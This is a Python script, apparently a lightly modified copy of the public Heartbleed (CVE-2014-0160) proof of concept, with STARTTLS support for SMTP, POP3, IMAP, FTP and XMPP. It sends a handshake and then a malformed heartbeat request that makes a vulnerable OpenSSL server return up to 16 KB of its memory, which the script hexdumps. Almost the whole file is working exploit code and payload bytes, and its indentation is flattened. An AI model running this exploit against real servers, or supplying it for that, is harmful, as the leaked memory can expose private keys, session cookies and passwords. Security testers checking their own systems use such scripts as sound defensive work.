#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# Source : https://gist.github.com/sh1n0b1/10100394
# Modified by Derek Callaway (decal@ethernet.org) to add STARTTLS protocols
# Source : https://github.com/decal/ssltest-stls/blob/master/ssltest-stls.py
# Modified by Samiux from the code of Derek Callaway on April 11, 2014
# The authors disclaim copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage=\'%prog server [options]\', description=\'Test for SSL heartbeat vulnerability (CVE-2014-0160)\')
options.add_option(\'-p\', \'--port\', type=\'int\', default=443, help=\'TCP port to test (default: 443)\')
options.add_option(\'-s\', \'--starttls\', type=\'string\', default=\'\', help=\'STARTTLS protocol: smtp, pop3, imap, ftp, or xmpp (default=NULL)\')
options.add_option(\'-t\', \'--tls\', type=\'int\', default=2, help=\'0=SSLv3, 1=TLSv1, 2=TLS=1.1, 3=TLSv1.1 (default: 2)\')
def h2bin(x):
return x.replace(\' \', \'\').replace(\'\\n\', \'\').decode(\'hex\')
hello = h2bin(\'\'\'
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
\'\'\')
# SSLv3
hb0 = h2bin(\'\'\'
18 03 00 00 03
01 40 00
\'\'\')
# TLSv1
hb1 = h2bin(\'\'\'
18 03 01 00 03
01 40 00
\'\'\')
# TLSv1.1
hb2 = h2bin(\'\'\'
18 03 02 00 03
01 40 00
\'\'\')
# TLSv1.2
hb3 = h2bin(\'\'\'
18 03 03 00 03
01 40 00
\'\'\')
def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = \' \'.join(\'%02X\' % ord(c) for c in lin)
pdat = \'\'.join((c if 32 <= ord(c) <= 126 else \'.\' )for c in lin)
print \' %04x: %-48s %s\' % (b, hxdat, pdat)
print
def recvall(s, length, timeout=4):
endtime = time.time() + timeout
rdata = \'\'
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print \'Unexpected EOF receiving record header - server closed connection\'
return None, None, None
typ, ver, ln = struct.unpack(\'>BHH\', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print \'Unexpected EOF receiving record payload - server closed connection\'
return None, None, None
print \' ... received message: type = %d, ver = %04x, length = %d\' % (typ, ver, len(pay))
return typ, ver, pay
def hit_hb(s, hb):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print \'No heartbeat response received, server likely not vulnerable\'
return False
if typ == 24:
print \'Received heartbeat response:\'
hexdump(pay)
if len(pay) > 3:
print \'WARNING: server returned more data than it should - server is vulnerable!\'
else:
print \'Server processed malformed heartbeat, but did not return any extra data.\'
return True
if typ == 21:
print \'Received alert:\'
hexdump(pay)
print \'Server returned error, likely not vulnerable\'
return False
BUFSIZ = 1024
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print \'Connecting...\'
s.connect((args[0], opts.port))
if opts.starttls != \'\':
print \'Sending STARTTLS Protocol Command...\'
if opts.starttls == \'smtp\':
s.recv(BUFSIZ)
s.send("EHLO openssl.client.net\\n")
s.recv(BUFSIZ)
s.send("STARTTLS\\n")
s.recv(BUFSIZ)
if opts.starttls == \'pop3\':
s.recv(BUFSIZ)
s.send("STLS\\n")
s.recv(BUFSIZ)
if opts.starttls == \'imap\':
s.recv(BUFSIZ)
s.send("STARTTLS\\n")
s.recv(BUFSIZ)
if opts.starttls == \'ftp\':
s.recv(BUFSIZ)
s.send("AUTH TLS\\n")
s.recv(BUFSIZ)
if opts.starttls == \'xmpp\': # TODO: This needs SASL
s.send("<stream:stream xmlns:stream=\'http://etherx.jabber.org/streams\' xmlns=\'jabber:client\' to=\'%s\' version=\'1.0\'\\n")
s.recv(BUFSIZ)
print \'Sending Client Hello...\'
s.send(hello)
print \'Waiting for Server Hello...\'
if opts.tls == 0:
hb = hb0
elif opts.tls == 1:
hb = hb1
elif opts.tls == 2:
hb = hb2
elif opts.tls == 3:
hb = hb3
else:
hb = hb2
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print \'Server closed connection without sending Server Hello.\'
return
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
break
print \'Sending heartbeat request...\'
sys.stdout.flush()
s.send(hb)
hit_hb(s, hb)
if __name__ == \'__main__\':
main()